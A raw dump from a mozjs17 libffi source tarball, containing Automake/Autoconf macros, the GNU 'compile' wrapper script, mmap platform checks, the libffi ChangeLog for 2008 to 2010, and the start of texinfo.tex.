in `make install-strip', and initialize # STRIPPROG with the value of the STRIP variable (set by the user). AC_DEFUN([AM_PROG_INSTALL_STRIP], [AC_REQUIRE([AM_PROG_INSTALL_SH])dnl # Installed binaries are usually stripped using `strip' when the user # run `make install-strip'. However `strip' might not be the right # tool to use in cross-compilation environments, therefore Automake # will honor the `STRIP' environment variable to overrule this program. dnl Don't test for $cross_compiling = yes, because it might be `maybe'. if test "$cross_compiling" != no; then AC_CHECK_TOOL([STRIP], [strip], :) fi INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" AC_SUBST([INSTALL_STRIP_PROGRAM])]) # Copyright (C) 2006, 2008 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 2 # _AM_SUBST_NOTMAKE(VARIABLE) # --------------------------- # Prevent Automake from outputting VARIABLE = @VARIABLE@ in Makefile.in. # This macro is traced by Automake. AC_DEFUN([_AM_SUBST_NOTMAKE]) # AM_SUBST_NOTMAKE(VARIABLE) # --------------------------- # Public sister of _AM_SUBST_NOTMAKE. AC_DEFUN([AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE($@)]) # Check how to create a tarball. -*- Autoconf -*- # Copyright (C) 2004, 2005 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 2 # _AM_PROG_TAR(FORMAT) # -------------------- # Check how to create a tarball in format FORMAT. # FORMAT should be one of `v7', `ustar', or `pax'. # # Substitute a variable $(am__tar) that is a command # writing to stdout a FORMAT-tarball containing the directory # $tardir. # tardir=directory && $(am__tar) > result.tar # # Substitute a variable $(am__untar) that extract such # a tarball read from stdin. # $(am__untar) < result.tar AC_DEFUN([_AM_PROG_TAR], [# Always define AMTAR for backward compatibility. AM_MISSING_PROG([AMTAR], [tar]) m4_if([$1], [v7], [am__tar='${AMTAR} chof - "$$tardir"'; am__untar='${AMTAR} xf -'], [m4_case([$1], [ustar],, [pax],, [m4_fatal([Unknown tar format])]) AC_MSG_CHECKING([how to create a $1 tar archive]) # Loop over all known methods to create a tar archive until one works. _am_tools='gnutar m4_if([$1], [ustar], [plaintar]) pax cpio none' _am_tools=${am_cv_prog_tar_$1-$_am_tools} # Do not fold the above two line into one, because Tru64 sh and # Solaris sh will not grok spaces in the rhs of `-'. for _am_tool in $_am_tools do case $_am_tool in gnutar) for _am_tar in tar gnutar gtar; do AM_RUN_LOG([$_am_tar --version]) && break done am__tar="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$$tardir"' am__tar_="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$tardir"' am__untar="$_am_tar -xf -" ;; plaintar) # Must skip GNU tar: if it does not support --format= it doesn't create # ustar tarball either. (tar --version) >/dev/null 2>&1 && continue am__tar='tar chf - "$$tardir"' am__tar_='tar chf - "$tardir"' am__untar='tar xf -' ;; pax) am__tar='pax -L -x $1 -w "$$tardir"' am__tar_='pax -L -x $1 -w "$tardir"' am__untar='pax -r' ;; cpio) am__tar='find "$$tardir" -print | cpio -o -H $1 -L' am__tar_='find "$tardir" -print | cpio -o -H $1 -L' am__untar='cpio -i -H $1 -d' ;; none) am__tar=false am__tar_=false am__untar=false ;; esac # If the value was cached, stop now. We just wanted to have am__tar # and am__untar set. test -n "${am_cv_prog_tar_$1}" && break # tar/untar a dummy directory, and stop if the command works rm -rf conftest.dir mkdir conftest.dir echo GrepMe > conftest.dir/file AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar]) rm -rf conftest.dir if test -s conftest.tar; then AM_RUN_LOG([$am__untar /dev/null 2>&1 && break fi done rm -rf conftest.dir AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=$_am_tool]) AC_MSG_RESULT([$am_cv_prog_tar_$1])]) AC_SUBST([am__tar]) AC_SUBST([am__untar]) ]) # _AM_PROG_TAR m4_include([acinclude.m4]) mozjs17.0.0/js/src/ctypes/libffi/compile0000775000175000017500000000717312106270662020133 0ustar sstanglsstangl#! /bin/sh # Wrapper for compilers which do not understand `-c -o'. scriptversion=2005-05-14.22 # Copyright (C) 1999, 2000, 2003, 2004, 2005 Free Software Foundation, Inc. # Written by Tom Tromey . # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # This file is maintained in Automake, please report # bugs to or send patches to # . case $1 in '') echo "$0: No command. Try \`$0 --help' for more information." 1>&2 exit 1; ;; -h | --h*) cat <<\EOF Usage: compile [--help] [--version] PROGRAM [ARGS] Wrapper for compilers which do not understand `-c -o'. Remove `-o dest.o' from ARGS, run PROGRAM with the remaining arguments, and rename the output as expected. If you are trying to build a whole package this is not the right script to run: please start by reading the file `INSTALL'. Report bugs to . EOF exit $? ;; -v | --v*) echo "compile $scriptversion" exit $? ;; esac ofile= cfile= eat= for arg do if test -n "$eat"; then eat= else case $1 in -o) # configure might choose to run compile as `compile cc -o foo foo.c'. # So we strip `-o arg' only if arg is an object. eat=1 case $2 in *.o | *.obj) ofile=$2 ;; *) set x "$@" -o "$2" shift ;; esac ;; *.c) cfile=$1 set x "$@" "$1" shift ;; *) set x "$@" "$1" shift ;; esac fi shift done if test -z "$ofile" || test -z "$cfile"; then # If no `-o' option was seen then we might have been invoked from a # pattern rule where we don't need one. That is ok -- this is a # normal compilation that the losing compiler can handle. If no # `.c' file was seen then we are probably linking. That is also # ok. exec "$@" fi # Name of file we expect compiler to create. cofile=`echo "$cfile" | sed -e 's|^.*/||' -e 's/\.c$/.o/'` # Create the lock directory. # Note: use `[/.-]' here to ensure that we don't use the same name # that we are using for the .o file. Also, base the name on the expected # object file name, since that is what matters with a parallel build. lockdir=`echo "$cofile" | sed -e 's|[/.-]|_|g'`.d while true; do if mkdir "$lockdir" >/dev/null 2>&1; then break fi sleep 1 done # FIXME: race condition here if user kills between mkdir and trap. trap "rmdir '$lockdir'; exit 1" 1 2 15 # Run the compile. "$@" ret=$? if test -f "$cofile"; then mv "$cofile" "$ofile" elif test -f "${cofile}bj"; then mv "${cofile}bj" "$ofile" fi rmdir "$lockdir" exit $ret # Local Variables: # mode: shell-script # sh-indentation: 2 # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "scriptversion=" # time-stamp-format: "%:y-%02m-%02d.%02H" # time-stamp-end: "$" # End: mozjs17.0.0/js/src/ctypes/libffi/acinclude.m40000664000175000017500000000631112106270662020737 0ustar sstanglsstangl# mmap(2) blacklisting. Some platforms provide the mmap library routine # but don't support all of the features we need from it. AC_DEFUN([AC_FUNC_MMAP_BLACKLIST], [ AC_CHECK_HEADER([sys/mman.h], [libffi_header_sys_mman_h=yes], [libffi_header_sys_mman_h=no]) AC_CHECK_FUNC([mmap], [libffi_func_mmap=yes], [libffi_func_mmap=no]) if test "$libffi_header_sys_mman_h" != yes \ || test "$libffi_func_mmap" != yes; then ac_cv_func_mmap_file=no ac_cv_func_mmap_dev_zero=no ac_cv_func_mmap_anon=no else AC_CACHE_CHECK([whether read-only mmap of a plain file works], ac_cv_func_mmap_file, [# Add a system to this blacklist if # mmap(0, stat_size, PROT_READ, MAP_PRIVATE, fd, 0) doesn't return a # memory area containing the same data that you'd get if you applied # read() to the same fd. The only system known to have a problem here # is VMS, where text files have record structure. case "$host_os" in vms* | ultrix*) ac_cv_func_mmap_file=no ;; *) ac_cv_func_mmap_file=yes;; esac]) AC_CACHE_CHECK([whether mmap from /dev/zero works], ac_cv_func_mmap_dev_zero, [# Add a system to this blacklist if it has mmap() but /dev/zero # does not exist, or if mmapping /dev/zero does not give anonymous # zeroed pages with both the following properties: # 1. If you map N consecutive pages in with one call, and then # unmap any subset of those pages, the pages that were not # explicitly unmapped remain accessible. # 2. If you map two adjacent blocks of memory and then unmap them # both at once, they must both go away. # Systems known to be in this category are Windows (all variants), # VMS, and Darwin. case "$host_os" in vms* | cygwin* | pe | mingw* | darwin* | ultrix* | hpux10* | hpux11.00) ac_cv_func_mmap_dev_zero=no ;; *) ac_cv_func_mmap_dev_zero=yes;; esac]) # Unlike /dev/zero, the MAP_ANON(YMOUS) defines can be probed for. AC_CACHE_CHECK([for MAP_ANON(YMOUS)], ac_cv_decl_map_anon, [AC_TRY_COMPILE( [#include #include #include #ifndef MAP_ANONYMOUS #define MAP_ANONYMOUS MAP_ANON #endif ], [int n = MAP_ANONYMOUS;], ac_cv_decl_map_anon=yes, ac_cv_decl_map_anon=no)]) if test $ac_cv_decl_map_anon = no; then ac_cv_func_mmap_anon=no else AC_CACHE_CHECK([whether mmap with MAP_ANON(YMOUS) works], ac_cv_func_mmap_anon, [# Add a system to this blacklist if it has mmap() and MAP_ANON or # MAP_ANONYMOUS, but using mmap(..., MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) # doesn't give anonymous zeroed pages with the same properties listed # above for use of /dev/zero. # Systems known to be in this category are Windows, VMS, and SCO Unix. case "$host_os" in vms* | cygwin* | pe | mingw* | sco* | udk* ) ac_cv_func_mmap_anon=no ;; *) ac_cv_func_mmap_anon=yes;; esac]) fi fi if test $ac_cv_func_mmap_file = yes; then AC_DEFINE(HAVE_MMAP_FILE, 1, [Define if read-only mmap of a plain file works.]) fi if test $ac_cv_func_mmap_dev_zero = yes; then AC_DEFINE(HAVE_MMAP_DEV_ZERO, 1, [Define if mmap of /dev/zero works.]) fi if test $ac_cv_func_mmap_anon = yes; then AC_DEFINE(HAVE_MMAP_ANON, 1, [Define if mmap with MAP_ANON(YMOUS) works.]) fi ]) mozjs17.0.0/js/src/ctypes/libffi/ChangeLog.libffi0000664000175000017500000005115212106270662021555 0ustar sstanglsstangl2010-01-15 Anthony Green * README: Add notes on building with Microsoft Visual C++. 2010-01-15 Daniel Witte * msvcc.sh: New file. * src/x86/win32.S: Port assembly routines to MSVC and #ifdef. * src/x86/ffi.c: Tweak function declaration and remove excess parens. * include/ffi.h.in: Add __declspec(align(8)) to typedef struct ffi_closure. * src/x86/ffi.c: Merge ffi_call_SYSV and ffi_call_STDCALL into new function ffi_call_win32 on X86_WIN32. * src/x86/win32.S (ffi_call_SYSV): Rename to ffi_call_win32. (ffi_call_STDCALL): Remove. * src/prep_cif.c (ffi_prep_cif): Move stack space allocation code to ffi_prep_cif_machdep for x86. * src/x86/ffi.c (ffi_prep_cif_machdep): To here. 2010-01-15 Oliver Kiddle * src/x86/ffitarget.h (ffi_abi): Check for __i386 and __amd64 for Sun Studio compiler compatibility. 2010-01-12 Conrad Irwin * doc/libffi.texi: Add closure example. * doc/libffi.info: Rebuilt. 2009-12-25 Samuli Suominen * configure.ac: Undefine _AC_ARG_VAR_PRECIOUS for autoconf 2.64. * configure: Rebuilt. * fficonfig.h.in: Rebuilt. 2009-06-16 Andrew Haley * testsuite/libffi.call/cls_align_sint64.c, testsuite/libffi.call/cls_align_uint64.c, testsuite/libffi.call/cls_longdouble_va.c, testsuite/libffi.call/cls_ulonglong.c, testsuite/libffi.call/return_ll1.c, testsuite/libffi.call/stret_medium2.c: Fix printf format specifiers. * testsuite/libffi.call/huge_struct.c: Ad x86 XFAILs. * testsuite/libffi.call/float2.c: Fix dg-excess-errors. * testsuite/libffi.call/ffitest.h, testsuite/libffi.special/ffitestcxx.h (PRIdLL, PRIuLL): Define. 2009-06-12 Andrew Haley * testsuite/libffi.call/cls_align_sint64.c, testsuite/libffi.call/cls_align_uint64.c, testsuite/libffi.call/cls_ulonglong.c, testsuite/libffi.call/return_ll1.c, testsuite/libffi.call/stret_medium2.c: Fix printf format specifiers. testsuite/libffi.special/unwindtest.cc: include stdint.h. 2009-06-11 Timothy Wall * Makefile.am, configure.ac, include/ffi.h.in, include/ffi_common.h, src/closures.c, src/dlmalloc.c, src/x86/ffi.c, src/x86/ffitarget.h, src/x86/win64.S (new), README: Added win64 support (mingw or MSVC) * Makefile.in, include/Makefile.in, man/Makefile.in, testsuite/Makefile.in, configure, aclocal.m4: Regenerated * ltcf-c.sh: properly escape cygwin/w32 path * man/ffi_call.3: Clarify size requirements for return value. * src/x86/ffi64.c: Fix filename in comment. * src/x86/win32.S: Remove unused extern. * testsuite/libffi.call/closure_fn0.c, testsuite/libffi.call/closure_fn1.c, testsuite/libffi.call/closure_fn2.c, testsuite/libffi.call/closure_fn3.c, testsuite/libffi.call/closure_fn4.c, testsuite/libffi.call/closure_fn5.c, testsuite/libffi.call/closure_fn6.c, testsuite/libffi.call/closure_stdcall.c, testsuite/libffi.call/cls_12byte.c, testsuite/libffi.call/cls_16byte.c, testsuite/libffi.call/cls_18byte.c, testsuite/libffi.call/cls_19byte.c, testsuite/libffi.call/cls_1_1byte.c, testsuite/libffi.call/cls_20byte.c, testsuite/libffi.call/cls_20byte1.c, testsuite/libffi.call/cls_24byte.c, testsuite/libffi.call/cls_2byte.c, testsuite/libffi.call/cls_3_1byte.c, testsuite/libffi.call/cls_3byte1.c, testsuite/libffi.call/cls_3byte2.c, testsuite/libffi.call/cls_4_1byte.c, testsuite/libffi.call/cls_4byte.c, testsuite/libffi.call/cls_5_1_byte.c, testsuite/libffi.call/cls_5byte.c, testsuite/libffi.call/cls_64byte.c, testsuite/libffi.call/cls_6_1_byte.c, testsuite/libffi.call/cls_6byte.c, testsuite/libffi.call/cls_7_1_byte.c, testsuite/libffi.call/cls_7byte.c, testsuite/libffi.call/cls_8byte.c, testsuite/libffi.call/cls_9byte1.c, testsuite/libffi.call/cls_9byte2.c, testsuite/libffi.call/cls_align_double.c, testsuite/libffi.call/cls_align_float.c, testsuite/libffi.call/cls_align_longdouble.c, testsuite/libffi.call/cls_align_longdouble_split.c, testsuite/libffi.call/cls_align_longdouble_split2.c, testsuite/libffi.call/cls_align_pointer.c, testsuite/libffi.call/cls_align_sint16.c, testsuite/libffi.call/cls_align_sint32.c, testsuite/libffi.call/cls_align_sint64.c, testsuite/libffi.call/cls_align_uint16.c, testsuite/libffi.call/cls_align_uint32.c, testsuite/libffi.call/cls_align_uint64.c, testsuite/libffi.call/cls_dbls_struct.c, testsuite/libffi.call/cls_double.c, testsuite/libffi.call/cls_double_va.c, testsuite/libffi.call/cls_float.c, testsuite/libffi.call/cls_longdouble.c, testsuite/libffi.call/cls_longdouble_va.c, testsuite/libffi.call/cls_multi_schar.c, testsuite/libffi.call/cls_multi_sshort.c, testsuite/libffi.call/cls_multi_sshortchar.c, testsuite/libffi.call/cls_multi_uchar.c, testsuite/libffi.call/cls_multi_ushort.c, testsuite/libffi.call/cls_multi_ushortchar.c, testsuite/libffi.call/cls_pointer.c, testsuite/libffi.call/cls_pointer_stack.c, testsuite/libffi.call/cls_schar.c, testsuite/libffi.call/cls_sint.c, testsuite/libffi.call/cls_sshort.c, testsuite/libffi.call/cls_uchar.c, testsuite/libffi.call/cls_uint.c, testsuite/libffi.call/cls_ulonglong.c, testsuite/libffi.call/cls_ushort.c, testsuite/libffi.call/err_bad_abi.c, testsuite/libffi.call/err_bad_typedef.c, testsuite/libffi.call/float2.c, testsuite/libffi.call/huge_struct.c, testsuite/libffi.call/nested_struct.c, testsuite/libffi.call/nested_struct1.c, testsuite/libffi.call/nested_struct10.c, testsuite/libffi.call/nested_struct2.c, testsuite/libffi.call/nested_struct3.c, testsuite/libffi.call/nested_struct4.c, testsuite/libffi.call/nested_struct5.c, testsuite/libffi.call/nested_struct6.c, testsuite/libffi.call/nested_struct7.c, testsuite/libffi.call/nested_struct8.c, testsuite/libffi.call/nested_struct9.c, testsuite/libffi.call/problem1.c, testsuite/libffi.call/return_ldl.c, testsuite/libffi.call/return_ll1.c, testsuite/libffi.call/stret_large.c, testsuite/libffi.call/stret_large2.c, testsuite/libffi.call/stret_medium.c, testsuite/libffi.call/stret_medium2.c, testsuite/libffi.special/unwindtest.cc: use ffi_closure_alloc instead of checking for MMAP. Use intptr_t instead of long casts. 2009-06-04 Andrew Haley * src/powerpc/ffitarget.h: Fix misapplied merge from gcc. 2009-06-04 Andrew Haley * src/mips/o32.S, src/mips/n32.S: Fix licence formatting. 2009-06-04 Andrew Haley * src/x86/darwin.S: Fix licence formatting. src/x86/win32.S: Likewise. src/sh64/sysv.S: Likewise. src/sh/sysv.S: Likewise. 2009-06-04 Andrew Haley * src/sh64/ffi.c: Remove lint directives. Was missing from merge of Andreas Tobler's patch from 2006-04-22. 2009-06-04 Andrew Haley * src/sh/ffi.c: Apply missing hunk from Alexandre Oliva's patch of 2007-03-07. 2008-12-26 Timothy Wall * testsuite/libffi.call/cls_longdouble.c, testsuite/libffi.call/cls_longdouble_va.c, testsuite/libffi.call/cls_align_longdouble.c, testsuite/libffi.call/cls_align_longdouble_split.c, testsuite/libffi.call/cls_align_longdouble_split2.c: mark expected failures on x86_64 cygwin/mingw. 2008-12-22 Timothy Wall * testsuite/libffi.call/closure_fn0.c, testsuite/libffi.call/closure_fn1.c, testsuite/libffi.call/closure_fn2.c, testsuite/libffi.call/closure_fn3.c, testsuite/libffi.call/closure_fn4.c, testsuite/libffi.call/closure_fn5.c, testsuite/libffi.call/closure_fn6.c, testsuite/libffi.call/closure_loc_fn0.c, testsuite/libffi.call/closure_stdcall.c, testsuite/libffi.call/cls_align_pointer.c, testsuite/libffi.call/cls_pointer.c, testsuite/libffi.call/cls_pointer_stack.c: use portable cast from pointer to integer (intptr_t). * testsuite/libffi.call/cls_longdouble.c: disable for win64. 2008-12-19 Anthony Green * configure.ac: Bump version to 3.0.8. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. * libtool-version: Increment revision. * README: Update for new release. 2008-11-11 Anthony Green * configure.ac: Bump version to 3.0.7. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. * libtool-version: Increment revision. * README: Update for new release. 2008-08-25 Andreas Tobler * src/powerpc/ffitarget.h (ffi_abi): Add FFI_LINUX and FFI_LINUX_SOFT_FLOAT to the POWERPC_FREEBSD enum. Add note about flag bits used for FFI_SYSV_TYPE_SMALL_STRUCT. Adjust copyright notice. * src/powerpc/ffi.c: Add two new flags to indicate if we have one register or two register to use for FFI_SYSV structs. (ffi_prep_cif_machdep): Pass the right register flag introduced above. (ffi_closure_helper_SYSV): Fix the return type for FFI_SYSV_TYPE_SMALL_STRUCT. Comment. Adjust copyright notice. 2008-07-24 Anthony Green * testsuite/libffi.call/cls_dbls_struct.c, testsuite/libffi.call/cls_double_va.c, testsuite/libffi.call/cls_longdouble.c, testsuite/libffi.call/cls_longdouble_va.c, testsuite/libffi.call/cls_pointer.c, testsuite/libffi.call/cls_pointer_stack.c, testsuite/libffi.call/err_bad_abi.c: Clean up failures from compiler warnings. 2008-07-17 Anthony Green * configure.ac: Bump version to 3.0.6. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. * libtool-version: Increment revision. Add documentation. * README: Update for new release. 2008-07-16 Kaz Kojima * src/sh/ffi.c (ffi_prep_closure_loc): Turn INSN into an unsigned int. 2008-07-16 Kaz Kojima * src/sh/sysv.S: Add .note.GNU-stack on Linux. * src/sh64/sysv.S: Likewise. 2008-04-03 Anthony Green * libffi.pc.in (Libs): Add -L${libdir}. * configure.ac: Bump version to 3.0.5. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. * libtool-version: Increment revision. * README: Update for new release. 2008-04-03 Anthony Green Xerces Ranby * include/ffi.h.in: Wrap definition of target architecture to protect from double definitions. 2008-03-22 Moriyoshi Koizumi * src/x86/ffi.c (ffi_prep_closure_loc): Fix for bug revealed in closure_loc_fn0.c. * testsuite/libffi.call/closure_loc_fn0.c (closure_loc_test_fn0): New test. 2008-03-04 Anthony Green Blake Chaffin hos@tamanegi.org * testsuite/libffi.call/cls_align_longdouble_split2.c testsuite/libffi.call/cls_align_longdouble_split.c testsuite/libffi.call/cls_dbls_struct.c testsuite/libffi.call/cls_double_va.c testsuite/libffi.call/cls_longdouble.c testsuite/libffi.call/cls_longdouble_va.c testsuite/libffi.call/cls_pointer.c testsuite/libffi.call/cls_pointer_stack.c testsuite/libffi.call/err_bad_abi.c testsuite/libffi.call/err_bad_typedef.c testsuite/libffi.call/huge_struct.c testsuite/libffi.call/stret_large2.c testsuite/libffi.call/stret_large.c testsuite/libffi.call/stret_medium2.c testsuite/libffi.call/stret_medium.c: New tests from Apple. 2008-02-26 Jakub Jelinek Anthony Green * src/alpha/osf.S: Add .note.GNU-stack on Linux. * src/s390/sysv.S: Likewise. * src/powerpc/linux64.S: Likewise. * src/powerpc/linux64_closure.S: Likewise. * src/powerpc/ppc_closure.S: Likewise. * src/powerpc/sysv.S: Likewise. * src/x86/unix64.S: Likewise. * src/x86/sysv.S: Likewise. * src/sparc/v8.S: Likewise. * src/sparc/v9.S: Likewise. * src/m68k/sysv.S: Likewise. * src/ia64/unix.S: Likewise. * src/arm/sysv.S: Likewise. 2008-02-26 Anthony Green Thomas Heller * src/x86/ffi.c (ffi_closure_SYSV_inner): Change C++ comment to C comment. 2008-02-26 Anthony Green Thomas Heller * include/ffi.h.in: Change void (*)() to void (*)(void). 2008-02-26 Anthony Green Thomas Heller * src/alpha/ffi.c: Change void (*)() to void (*)(void). src/alpha/osf.S, src/arm/ffi.c, src/frv/ffi.c, src/ia64/ffi.c, src/ia64/unix.S, src/java_raw_api.c, src/m32r/ffi.c, src/mips/ffi.c, src/pa/ffi.c, src/pa/hpux32.S, src/pa/linux.S, src/powerpc/ffi.c, src/powerpc/ffi_darwin.c, src/raw_api.c, src/s390/ffi.c, src/sh/ffi.c, src/sh64/ffi.c, src/sparc/ffi.c, src/x86/ffi.c, src/x86/unix64.S, src/x86/darwin64.S, src/x86/ffi64.c: Ditto. 2008-02-24 Anthony Green * configure.ac: Accept openbsd*, not just openbsd. Bump version to 3.0.4. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. * libtool-version: Increment revision. * README: Update for new release. 2008-02-22 Anthony Green * README: Clean up list of tested platforms. 2008-02-22 Anthony Green * configure.ac: Bump version to 3.0.3. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. * libtool-version: Increment revision. * README: Update for new release. Clean up test docs. 2008-02-22 Bjoern Koenig Andreas Tobler * configure.ac: Add amd64-*-freebsd* target. * configure: Regenerate. 2008-02-22 Thomas Heller * configure.ac: Add x86 OpenBSD support. * configure: Rebuilt. 2008-02-21 Thomas Heller * README: Change "make test" to "make check". 2008-02-21 Anthony Green * configure.ac: Bump version to 3.0.2. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. * libtool-version: Increment revision. * README: Update for new release. 2008-02-21 Björn König * src/x86/freebsd.S: New file. * configure.ac: Add x86 FreeBSD support. * Makefile.am: Ditto. 2008-02-15 Anthony Green * configure.ac: Bump version to 3.0.1. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. * libtool-version: Increment revision. * README: Update for new release. 2008-02-15 David Daney * src/mips/ffi.c: Remove extra '>' from include directive. (ffi_prep_closure_loc): Use clear_location instead of tramp. 2008-02-15 Anthony Green * configure.ac: Bump version to 3.0.0. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. 2008-02-15 David Daney * src/mips/ffi.c (USE__BUILTIN___CLEAR_CACHE): Define (conditionally), and use it to include cachectl.h. (ffi_prep_closure_loc): Fix cache flushing. * src/mips/ffitarget.h (_ABIN32, _ABI64, _ABIO32): Define. 2008-02-15 Anthony Green * man/ffi_call.3, man/ffi_prep_cif.3, man/ffi.3: Update dates and remove all references to ffi_prep_closure. * configure.ac: Bump version to 2.99.9. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. 2008-02-15 Anthony Green * man/ffi_prep_closure.3: Delete. * man/Makefile.am (EXTRA_DIST): Remove ffi_prep_closure.3. (man_MANS): Ditto. * man/Makefile.in: Rebuilt. * configure.ac: Bump version to 2.99.8. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. 2008-02-14 Anthony Green * configure.ac: Bump version to 2.99.7. * configure, doc/stamp-vti, doc/version.texi: Rebuilt. * include/ffi.h.in LICENSE src/debug.c src/closures.c src/ffitest.c src/s390/sysv.S src/s390/ffitarget.h src/types.c src/m68k/ffitarget.h src/raw_api.c src/frv/ffi.c src/frv/ffitarget.h src/sh/ffi.c src/sh/sysv.S src/sh/ffitarget.h src/powerpc/ffitarget.h src/pa/ffi.c src/pa/ffitarget.h src/pa/linux.S src/java_raw_api.c src/cris/ffitarget.h src/x86/ffi.c src/x86/sysv.S src/x86/unix64.S src/x86/win32.S src/x86/ffitarget.h src/x86/ffi64.c src/x86/darwin.S src/ia64/ffi.c src/ia64/ffitarget.h src/ia64/ia64_flags.h src/ia64/unix.S src/sparc/ffi.c src/sparc/v9.S src/sparc/ffitarget.h src/sparc/v8.S src/alpha/ffi.c src/alpha/ffitarget.h src/alpha/osf.S src/sh64/ffi.c src/sh64/sysv.S src/sh64/ffitarget.h src/mips/ffi.c src/mips/ffitarget.h src/mips/n32.S src/mips/o32.S src/arm/ffi.c src/arm/sysv.S src/arm/ffitarget.h src/prep_cif.c: Update license text. 2008-02-14 Anthony Green * README: Update tested platforms. * configure.ac: Bump version to 2.99.6. * configure: Rebuilt. 2008-02-14 Anthony Green * configure.ac: Bump version to 2.99.5. * configure: Rebuilt. * Makefile.am (EXTRA_DIST): Add darwin64.S * Makefile.in: Rebuilt. * testsuite/lib/libffi-dg.exp: Remove libstdc++ bits from GCC tree. * LICENSE: Update WARRANTY. 2008-02-14 Anthony Green * libffi.pc.in (libdir): Fix libdir definition. * configure.ac: Bump version to 2.99.4. * configure: Rebuilt. 2008-02-14 Anthony Green * README: Update. * libffi.info: New file. * doc/stamp-vti: New file. * configure.ac: Bump version to 2.99.3. * configure: Rebuilt. 2008-02-14 Anthony Green * Makefile.am (SUBDIRS): Add man dir. * Makefile.in: Rebuilt. * configure.ac: Create Makefile. * configure: Rebuilt. * man/ffi_call.3 man/ffi_prep_cif.3 man/ffi_prep_closure.3 man/Makefile.am man/Makefile.in: New files. 2008-02-14 Tom Tromey * aclocal.m4, Makefile.in, configure, fficonfig.h.in: Rebuilt. * mdate-sh, texinfo.tex: New files. * Makefile.am (info_TEXINFOS): New variable. * doc/libffi.texi: New file. * doc/version.texi: Likewise. 2008-02-14 Anthony Green * Makefile.am (AM_CFLAGS): Don't compile with -D$(TARGET). (lib_LTLIBRARIES): Define. (toolexeclib_LIBRARIES): Undefine. * Makefile.in: Rebuilt. * configure.ac: Reset version to 2.99.1. * configure.in: Rebuilt. 2008-02-14 Anthony Green * libffi.pc.in: Use @PACKAGE_NAME@ and @PACKAGE_VERSION@. * configure.ac: Reset version to 2.99.1. * configure.in: Rebuilt. * Makefile.am (EXTRA_DIST): Add ChangeLog.libffi. * Makefile.in: Rebuilt. * LICENSE: Update copyright notice. 2008-02-14 Anthony Green * include/Makefile.am (nodist_includes_HEADERS): Define. Don't distribute ffitarget.h or ffi.h from the build include dir. * Makefile.in: Rebuilt. 2008-02-14 Anthony Green * include/Makefile.am (includesdir): Install headers under libdir. (pkgconfigdir): Define. Install libffi.pc. * include/Makefile.in: Rebuilt. * libffi.pc.in: Create. * libtool-version: Increment CURRENT * configure.ac: Add libffi.pc.in * configure: Rebuilt. 2008-02-03 Anthony Green * include/Makefile.am (includesdir): Fix header install with DESTDIR. * include/Makefile.in: Rebuilt. 2008-02-03 Timothy Wall * src/x86/ffi.c (FFI_INIT_TRAMPOLINE_STDCALL): Calculate jump return offset based on code pointer, not data pointer. 2008-02-01 Anthony Green * include/Makefile.am: Fix header installs. * Makefile.am: Ditto. * include/Makefile.in: Rebuilt. * Makefile.in: Ditto. 2008-02-01 Anthony Green * src/x86/ffi.c (FFI_INIT_TRAMPOLINE_STDCALL, FFI_INIT_TRAMPOLINE): Revert my broken changes to twall's last patch. 2008-01-31 Anthony Green * Makefile.am (EXTRA_DIST): Add missing files. * testsuite/Makefile.am: Ditto. * Makefile.in, testsuite/Makefile.in: Rebuilt. 2008-01-31 Timothy Wall * testsuite/libffi.call/closure_stdcall.c: Add test for stdcall closures. * src/x86/ffitarget.h: Increase size of trampoline for stdcall closures. * src/x86/win32.S: Add assembly for stdcall closure. * src/x86/ffi.c: Initialize stdcall closure trampoline. 2008-01-30 H.J. Lu PR libffi/34612 * src/x86/sysv.S (ffi_closure_SYSV): Pop 4 byte from stack when returning struct. * testsuite/libffi.call/call.exp: Add "-O2 -fomit-frame-pointer" tests. 2008-01-30 Anthony Green * Makefile.am, include/Makefile.am: Move headers to libffi_la_SOURCES for new automake. * Makefile.in, include/Makefile.in: Rebuilt. * testsuite/lib/wrapper.exp: Copied from gcc tree to allow for execution outside of gcc tree. * testsuite/lib/target-libpath.exp: Ditto. * testsuite/lib/libffi-dg.exp: Many changes to allow for execution outside of gcc tree. mozjs17.0.0/js/src/ctypes/libffi/texinfo.tex0000664000175000017500000070156312106270662020757 0ustar sstanglsstangl% texinfo.tex -- TeX macros to handle Texinfo files. % % Load plain if necessary, i.e., if running under initex. \expandafter\ifx\csname fmtname\endcsname\relax\input plain\fi % \def\texinfoversion{2005-07-05.19} % % Copyright (C) 1985, 1986, 1988, 1990, 1991, 1992, 1993, 1994, 1995, % 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005 Free Software % Foundation, Inc. % % This texinfo.tex file is free software; you can redistribute it and/or % modify it under the terms of the GNU General Public License as % published by the Free Software 